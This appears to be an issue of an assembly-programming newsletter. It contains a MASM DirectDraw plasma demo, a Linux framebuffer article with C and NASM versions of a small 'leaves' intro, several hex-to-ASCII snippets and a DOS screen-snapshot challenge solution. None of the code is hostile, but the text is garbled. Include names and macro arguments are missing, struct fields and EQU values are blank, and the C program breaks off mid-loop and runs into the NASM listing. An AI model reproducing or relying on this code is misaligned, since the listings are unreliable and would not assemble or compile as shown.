; include file written by Ewald Snel. ; ----------------------------------- INCLUDE .\ddraw.inc INCLUDE \masm32\include\gdi32.inc INCLUDE \masm32\include\kernel32.inc INCLUDE \masm32\include\user32.inc includelib \masm32\lib\gdi32.lib includelib \masm32\lib\ddraw.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD nextFrame PROTO initPlasma PROTO RETURN MACRO arg IFNB mov eax, arg ENDIF ret ENDM LRETURN MACRO arg IFNB mov eax, arg ENDIF leave ret ENDM FATAL MACRO msg LOCAL @@msg .DATA @@msg db msg, 0 .CODE INVOKE MessageBox, hWnd, ADDR @@msg, ADDR szDisplayName, MB_OK INVOKE ExitProcess, 0 ENDM .DATA? palette dd 256 dup (?) table dd 512 dup (?) hWnd HWND ? ; surface window lpDD LPDIRECTDRAW ? ; DDraw object lpDDSPrimary LPDIRECTDRAWSURFACE ? ; DDraw primary surface ddsd DDSURFACEDESC ; DDraw surface descriptor ddscaps DDSCAPS ; DDraw capabilities .DATA ddwidth EQU 320 ; display mode width ddheight EQU 200 ; display mode height ddbpp EQU 32 ; display mode color depth phaseA dd 0 phaseB dd 0 factor1 EQU -2 factor2 EQU -1 factor3 EQU 1 factor4 EQU -2 red dd 500.0 green dd 320.0 blue dd 372.0 scale1 dd 2.0 scale2 dd 128.0 scale3 dd 256.0 scale4 dd 127.0 szClassName db "DDRAW Plasma Demo", 0 ; class name szDisplayName EQU ; window name color dd 0 wc WNDCLASSEX < SIZEOF WNDCLASSEX, CS_HREDRAW OR CS_VREDRAW, OFFSET WndProc, 0, 0, , 0, 0, , 0, OFFSET szClassName, 0 > .CODE start: INVOKE GetModuleHandle, NULL INVOKE WinMain, eax, NULL, NULL, SW_SHOWDEFAULT INVOKE ExitProcess, eax ;-----------------------------------------------------------; ; Calculate Next Plasma Frame ; ;-----------------------------------------------------------; nextFrame PROC push ebx push esi push edi mov ecx , ddheight ; # of scanlines mov edi , [ddsd.lpSurface] ; pixel output @@scanline: push ecx push edi mov esi , [phaseA] mov edx , [phaseB] sub esi , ecx and edx , 0ffH and esi , 0ffH mov edx , [table][4*edx][256*4] mov esi , [table][4*esi] ; [x] + table0[a + y] sub edx , ecx ; [y] + table1[b] mov ecx , ddwidth ; [x] --> pixel counter @@pixel: and esi , 0ffH and edx , 0ffH mov eax , [table][4*esi] mov ebx , [table][4*edx][256*4] add eax , ebx add esi , factor3 shr eax , 1 add edx , factor4 and eax , 0ffH add edi , 4 mov eax , [palette][4*eax] dec ecx mov [edi][-4] , eax jnz @@pixel pop edi pop ecx add edi , [ddsd.lPitch] ; inc. display position dec ecx jnz @@scanline add [phaseA] , factor1 add [phaseB] , factor2 pop edi pop esi pop ebx ret nextFrame ENDP ;-----------------------------------------------------------; ; Initalize Plasma Tables ; ;-----------------------------------------------------------; initPlasma PROC LOCAL @@i :DWORD LOCAL @@r :DWORD LOCAL @@g :DWORD LOCAL @@b :DWORD LOCAL temp :DWORD mov [@@i] , 0 .WHILE @@i < 256 mov edx , [@@i] ; Calculate table0 value fldpi fimul DWORD PTR [@@i] fmul REAL4 PTR [scale1] fdiv REAL4 PTR [scale3] fsin fmul REAL4 PTR [scale4] fadd REAL4 PTR [scale2] fistp DWORD PTR [table][4*edx] ; Calculate table1 value fldpi fimul DWORD PTR [@@i] fmul REAL4 PTR [scale1] fdiv REAL4 PTR [scale3] fcos fmul REAL4 PTR [scale2] fadd REAL4 PTR [scale2] fldpi fmulp st(1), st fmul REAL4 PTR [scale1] fdiv REAL4 PTR [scale3] fsin fmul REAL4 PTR [scale4] fadd REAL4 PTR [scale2] fistp DWORD PTR [table][4*edx][4*256] ; Calculate palette value xor eax , eax FOR comp, fldpi fimul DWORD PTR [@@i] fmul REAL4 PTR [scale1] fdiv REAL4 PTR [comp] fcos fmul REAL4 PTR [scale4] fadd REAL4 PTR [scale2] fistp DWORD PTR [temp] shl eax , 8 or eax , [temp] ENDM mov [palette][4*edx] , eax inc [@@i] .ENDW ret initPlasma ENDP ;-----------------------------------------------------------; ; WinMain ( entry point ) ; ;-----------------------------------------------------------; WinMain PROC hInst :DWORD, hPrevInst :DWORD, CmdLine :DWORD, CmdShow :DWORD LOCAL msg :MSG ; Fill WNDCLASSEX structure with required variables mov eax , [hInst] mov [wc.hInstance] , eax INVOKE GetStockObject, BLACK_BRUSH mov [wc.hbrBackground] , eax INVOKE RegisterClassEx, ADDR wc ; Create window at following size INVOKE CreateWindowEx, 0, ADDR szClassName, ADDR szDisplayName, WS_POPUP, 0, 0, ddwidth, ddheight, NULL, NULL, hInst, NULL mov [hWnd] , eax INVOKE ShowWindow, hWnd, SW_MAXIMIZE INVOKE SetFocus, hWnd INVOKE ShowCursor, 0 ; Initialize display INVOKE DirectDrawCreate, NULL, ADDR lpDD, NULL .IF eax != DD_OK FATAL "Couldn't init DirectDraw" .ENDIF DDINVOKE SetCooperativeLevel, lpDD, hWnd, DDSCL_EXCLUSIVE OR DDSCL_FULLSCREEN .IF eax != DD_OK FATAL "Couldn't set DirectDraw cooperative level" .ENDIF DDINVOKE SetDisplayMode, lpDD, ddwidth, ddheight, ddbpp .IF eax != DD_OK FATAL "Couldn't set display mode" .ENDIF mov [ddsd.dwSize] , SIZEOF DDSURFACEDESC mov [ddsd.dwFlags] , DDSD_CAPS mov [ddsd.ddsCaps.dwCaps] , DDSCAPS_PRIMARYSURFACE DDINVOKE CreateSurface, lpDD, ADDR ddsd, ADDR lpDDSPrimary, NULL .IF eax != DD_OK FATAL "Couldn't create primary surface" .ENDIF call initPlasma ; Loop until PostQuitMessage is sent .WHILE 1 INVOKE PeekMessage, ADDR msg, NULL, 0, 0, PM_REMOVE .IF eax != 0 .IF msg.message == WM_QUIT INVOKE PostQuitMessage, msg.wParam .BREAK .ELSE INVOKE TranslateMessage, ADDR msg INVOKE DispatchMessage, ADDR msg .ENDIF .ELSE INVOKE GetFocus .IF eax == hWnd mov [ddsd.dwSize] , SIZEOF DDSURFACEDESC mov [ddsd.dwFlags] , DDSD_PITCH .WHILE 1 DDSINVOKE mLock, lpDDSPrimary, NULL, ADDR ddsd, DDLOCK_WAIT, NULL .BREAK .IF eax == DD_OK .IF eax == DDERR_SURFACELOST DDSINVOKE Restore, lpDDSPrimary .ELSE FATAL "Couldn't lock surface" .ENDIF .ENDW DDINVOKE WaitForVerticalBlank, lpDD, DDWAITVB_BLOCKBEGIN, NULL call nextFrame DDSINVOKE Unlock, lpDDSPrimary, ddsd.lpSurface .ENDIF .ENDIF .ENDW .IF lpDD != NULL .IF lpDDSPrimary != NULL DDSINVOKE Release, lpDDSPrimary mov [lpDDSPrimary] , NULL .ENDIF DDINVOKE Release, lpDD mov [lpDD] , NULL .ENDIF LRETURN msg.wParam WinMain ENDP ;-----------------------------------------------------------; ; Window Proc ( handle events ) ; ;-----------------------------------------------------------; WndProc PROC hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD .IF uMsg == WM_KEYDOWN .IF wParam == VK_ESCAPE INVOKE PostQuitMessage, NULL RETURN 0 .ENDIF .ELSEIF uMsg == WM_DESTROY INVOKE PostQuitMessage, NULL RETURN 0 .ENDIF INVOKE DefWindowProc, hWin, uMsg, wParam, lParam ret WndProc ENDP END start ;End_Ddplasma32.asm____________________________________________________________ I had mail problems last time... I don't think the example program from the DDRAW tut ever reached you... and now you were looking for a Windows article for issue #6... Maybe you can put the example in there... It's Win32, and it would also double as a sequel to the article of issue #5 :) Well, there's 2 examples actually... They look the same on screen, but 1 displays how to use 8 bit palette mode (like good old mode 13h), where the other shows 32 bit truecolor mode... I also included the original DDRAW.INC, so people can assemble the sources themselves... I hope this time it reaches you, and that I could have been of help to you, X-Calibre WINDOWS ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::............................................THE.UNIX.WORLD Enter fbcon by Konstantin Boldyshev Many of Linux users have heard something about fbcon. It is becoming more and more popular, mostly because of capability of getting graphics on usual terminal without X. How to use graphic capabilities of fbcon? The /dev/fb# devices represent frame buffer devices; they allow the frame buffer of a video card to be read and written to by a user, and allow a programmer to access the video hardware [and, more importantly, the video memory] through ioctls and memory mapping. The general approach to using fbcon is pretty simple: 1) open /dev/fb0 2) mmap /dev/fb0 3) .. do the thing .. (use pointer returned by mmap to access videomemory) 4) munmap /dev/fb0 5) close /dev/fb0 I've taken one of my old DOS intros made in tasm, and rewritten it for nasm and Linux/fbcon. At 408 bytes, This intro is the smallest implementation of linear transformation with recursion (AFAIK). Leaves.asm runs for about a minute and a half (depends on machine), and is interruptible at any time with ^C. If everything is ok you should see two branches of green leaves, and kinda wind blowing on them. It MUST be run only in 640x480x256 mode (vga=0x301 in lilo.conf). You will see garbage or incorrect colors in other modes. Warning! Intro assumes that everything is ok with the system (/dev/fb0 exists, can be opened and mmap()ed, correct video mode is set, and so on). So, if you ain't root, check permissions on /dev/fb0 first, or you will not see anything. The source is quite portable, you only need to implement putpixel() and initial- ization part for your OS. To get the basic idea across, here is the fbcon implementation in C: //========================================================================== // leaves.c : C implementation using /dev/fb0 #include #include #include typedef unsigned char byte; typedef unsigned int word; typedef float dword; #define MaxX 640 #define MaxY 480 #define VMEM_SIZE MaxX*MaxY #define xc MaxX/2 #define yc MaxY/2 #define xmin0 100 #define xmax0 -xmin0 #define ymin0 xmin0 #define ymax0 -ymin0 #define colornum 8 int h; byte *p; byte ColorTable[colornum] = { 0x00,0x00,0x02,0x00,0x00,0x02,0x0A,0x02 }; int color=0; dword f=MaxY/(ymax0-ymin0)*3/2; dword x1coef=MaxX-MaxY*4/9-yc; dword y1coef=MaxY/4+xc; dword x2coef=MaxY*4/9+yc; dword x0=110; dword a=0.7; dword b=0.2; dword c=0.5; dword d=0.3; void putpixel(word x,word y,byte color) { *(p+y*MaxX+x) = color; } void leaves(dword x,dword y,byte n) { word x1,y1; if (n>0) { y1=f*x+y1coef; putpixel(x1coef-f*y,y1,ColorTable[color]); putpixel(f*y+x2coef,y1,ColorTable[color]); if (++color>colornum-1) color=0; leaves(a*x+b*y, b*x-a*y, n-1); leaves(c*(x-x0)-d*y+x0,d*(x-x0)+c*y,n-1); } } int main(void) { int i; p=mmap(0,VMEM_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/fb0",O_RDWR),0); for (i=0;i ; ;leaves - fbcon intro in 408 bytes ; ;Ah, /if haven't guessed yet/ license is GPL, so enjoy! :) %include "system.inc" %assign SIZE_X 640 %assign SIZE_Y 480 %assign DEPTH 8 %assign VMEM_SIZE SIZE_X*SIZE_Y %define MaxX 640.0 %define MaxY 480.0 %define xc MaxX/2 %define yc MaxY/2 %define xmin0 100.0 %define xmax0 -xmin0 %define ymin0 xmin0 %define ymax0 -ymin0 CODESEG ;al - color putpixel: push edx lea edx,[ebx+ebx*4] ;computing offset.. shl edx,byte 7 ;multiply on 640 add edx,[esp+8] ; mov [edx+esi],al ;write to frame buffer pop edx _return: ret ; recursive function itself leaves: mov ecx,[esp+12] test cl,cl jz _return mov [esp-13],cl mov eax,[edi] push ecx sub esp,byte 8 mov edx,esp fld dword [ebp+16] ;[f] fld st0 fld st0 fmul dword [edx+16] fadd dword [ebp+24] ;[y1coef] fistp dword [edx] mov ebx,[edx] fmul dword [edx+20] fsubr dword [ebp+20] ;[x1coef] fistp dword [edx] call putpixel fmul dword [edx+20] fadd dword [ebp+28] ;[x2coef] fistp dword [edx] call putpixel inc edi cmp edi,ColorEnd jl .rec sub edi,byte ColorEnd-ColorBegin .rec: fld dword [ebp+4] ;[b] fld dword [ebp] ;[a] fld st1 fld st1 fxch fmul dword [edx+16] fxch fmul dword [edx+20] fsubp st1 fstp dword [edx-8] fmul dword [edx+16] fxch fmul dword [edx+20] faddp st1 dec ecx push ecx sub esp,byte 8 fstp dword [esp] call leaves ;esp+12 mov edx,esp fld dword [ebp+12] ;[d] fld dword [edx+28] fld dword [ebp+8] ;[c] fld dword [ebp+32] ;[x0] fsub to st2 fld st3 fld st2 fxch fmul st4 fxch fmul dword [edx+32] faddp st1 fstp dword [edx-8] fxch fmulp st2 fxch st2 fmul dword [edx+32] fsubp st1 faddp st1 push ecx sub esp,byte 8 fstp dword [esp] call leaves add esp,byte 12*2+8 pop ecx .return: ret ;------------------------------------- main() START: ;prepare structure for mmap on the stack mov edi,VMEM_SIZE mov esi,esp mov [esi-16],edi ;.len mov [esi-12],byte PROT_READ|PROT_WRITE ;.prot mov [esi-8],byte MAP_SHARED ;.flags mov [esi],edx ;.offset ;init fb mov ebp,Params lea ebx,[ebp+0x2C] ;fb-Params sys_open EMPTY,O_RDWR test eax,eax ;have we opened file? js exit mov [esi-4],eax ;mm.fd lea ebx,[esi-20] sys_mmap test eax,eax ;have we mmaped file? js exit mov esi,eax ;clear screen mov ecx,edi mov edi,esi xor eax,eax rep stosb ;leaves lea edi,[ebp+0x24] ;ColorBegin-Params push byte 28 ;recursion depth push eax push eax call leaves ;close fb sys_munmap esi,VMEM_SIZE sys_close [mm.fd] exit: sys_exit ;----------------------------Parameters Params: a dd 0.7 b dd 0.2 c dd 0.5 d dd 0.3 f dd 0xc0400000 ;MaxY/(ymax0-ymin0)*3/2 x1coef dd 0x433b0000 ;MaxX-MaxY*4/9-yc y1coef dd 0x43dc0000 ;MaxY/4+xc x2coef dd 0x43e28000 ;MaxY*4/9+yc x0 dd 112.0 ColorBegin: db 0,0,2,0,0,2,10,2 ColorEnd: fb db "/dev/fb0";,NULL END ;===========================================================================EOF More information on the frame buffer device can be found in the Linux kernel documentation [ usually /usr/src/linux/Documentation ] files framebuffer.txt, internals.txt, matroxfb.txt, tgafb.txt, and vesafb.txt. The /dev/fbcon# ioctls are defined in /usr/include/linux/fb.h . Enjoy the demo! ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::................................ASSEMBLY.LANGUAGE.SNIPPETS TOHEX by Ronald ;Summary: Convert hexadecimal digits to ASCII ;Compatibility: PowerPC platform ;Notes: Reads 3 parameters in R1-R3 ; R1 = Number to convert to ASCII representation ; R2 = Number of LSD's of R1 to convert ; R3 = Address to store ASCII representation of number to ; R31 = Temp register that holds 4 bits ; Note that R1 is ruined during execution .global TOHEX, TOHEX_LOOP, LT_TEN, STEP_OVER, TOHEX_EXIT TOHEX: cmpwi R2, 0 be TOHEX_EXIT TOHEX_LOOP: andi. R31, R1, 15 cmpwi R31, 10 blt LT_TEN addi R31, R31, 'A'-10 b STEP_OVER LT_TEN: ori R31, R31, '0' STEP_OVER: srwi R1, R1, 4 subi R2, R2, 1 stbx R31, R2, R3 cmpwi R2, 0 bne TOHEX_LOOP TOHEX_EXIT: blr Hex2ASCII by cpuburn ;Summary: Converts ;Compatibility: K7 ;Notes: This ; While doing some light reading of the AMD K7 Athlon Optimization ;Manual, I came across one of the neatest hex-to-ASCII converters ;I've ever seen: Example 5 - Hexadecimal to ASCII conversion (y=x < 10 ? x + 0x30: x + 0x41): MOV AL, [X] ;load X value CMP AL, 10 ;if x is less than 10, set carry flag SBB AL, 69h ;0..9 -> 96h, Ah.. h -> A1h...A6h DAS ;0..9: subtract 66h, Ah.. h: Sub. 60h MOV [Y],AL ;save conversion in y MMX ltostr by Cecchinel Stephan ;Summary: Convert long [dword] value to an ASCII string ;Compatibility: MMX ;Notes: Converts a number in EAX to an 8 bytes hexadecimal string ; at [edi] ; 14 clocks on a Celeron-333 Sum1: dd 0x30303030, 0x30303030 Mask1: dd 0x0f0f0f0f, 0x0f0f0f0f Comp1: dd 0x09090909, 0x09090909 Hex32: bswap eax movq mm3,[Sum1] movq mm4,[Comp1] movq mm2,[Mask1] movq mm5,mm3 psubb mm5,mm4 movd mm0,eax movq mm1,mm0 psrlq mm0,4 pand mm0,mm2 pand mm1,mm2 punpcklbw mm0,mm1 movq mm1,mm0 pcmpgtb mm0,mm4 pand mm0,mm5 paddb mm1,mm3 paddb mm1,mm0 movq [edi],mm1 ret ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................ISSUE.CHALLENGE by Laura Fairhead Challenge ~~~~~~~~~ Write a program that takes a snapshot of a text screen and writes it to a file. It should work in any text mode and lines should be terminated with newlines in the file so that it can easily be viewed in a standard editor. ( 04Dh = 77 bytes ) Solution ~~~~~~~~ If you want to assemble this just remember FS = 064h, as MASM can't cope with legal x86 code. Then just replace the (single) offset 0148h with some name, then data is the filename at the end "SNAP",0. Obviously the B's prefixing the addresses mean "BYTE PTR", and ALL the numbers are in HEX. =Z10 0 =NSUC0.COM =L 0000004D =U100 147 1CB6:0100 B8 30 11 MOV AX,1130 1CB6:0103 32 FF XOR BH,BH 1CB6:0105 CD 10 INT 10 ;DL=rows-1 1CB6:0107 B4 0F MOV AH,0F 1CB6:0109 CD 10 INT 10 ;AH=columns 1CB6:010B 0E PUSH CS ;1st BIOS call 1CB6:010C 07 POP ES ;corrupts ES 1CB6:010D 52 PUSH DX ; 1CB6:010E 50 PUSH AX ;set B[BP+1]=columns 1CB6:010F 8B EC MOV BP,SP ; B[BP+2]=rows 1CB6:0111 BA 48 01 MOV DX,0148 ;open (CREATE) file 1CB6:0114 33 C9 XOR CX,CX ;name "SNAP" 1CB6:0116 B4 3C MOV AH,3C 1CB6:0118 CD 21 INT 21 1CB6:011A 93 XCHG BX,AX ;handle stays in BX 1CB6:011B 33 F6 XOR SI,SI ;SI read screen offset 1CB6:011D BA 80 00 MOV DX,0080 ;DX data store in PSP 1CB6:0120 B8 00 B8 MOV AX,B800 1CB6:0123 8E E0 MOV FS,AX ;FS screen segment 1CB6:0125 8B FA MOV DI,DX ;outer loop rows 1CB6:0127 0F B6 4E 01 MOVZX CX,B [BP+0001] ;miss out the attribute 1CB6:012B 64 AD FS: LODSW ;byte, copying to 1CB6:012D AA STOSB ;DS:080 1CB6:012E E2 FB LOOP 012B 1CB6:0130 B8 0D 0A MOV AX,0A0D ;n/l on row end 1CB6:0133 AB STOSW 1CB6:0134 8B CF MOV CX,DI 1CB6:0136 2B CA SUB CX,DX ;CX=data length 1CB6:0138 B4 40 MOV AH,40 ;write row to file 1CB6:013A CD 21 INT 21 1CB6:013C FE 4E 02 DEC B [BP+0002] ;loop for row count 1CB6:013F 79 E4 JNS 0125 1CB6:0141 66 58 POP EAX ;clean-up stack 1CB6:0143 B4 3E MOV AH,3E ;close file 1CB6:0145 CD 21 INT 21 1CB6:0147 C3 RET ;go CS:0 ! =D148 14C 1CB6:0148 53 4E 41 50 00 SNAP =Q If you've never seen the 2 BIOS calls before then you'd better take a look at ralf brown's legendary interrupt list. You may always overide the source segment DS: on a string instruction, but you cannot override the destination segment ES: ever. It's left as an exercise for you to incorporate error handling (since there is none) and still better the length of this code ;) ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::.......................................................FIN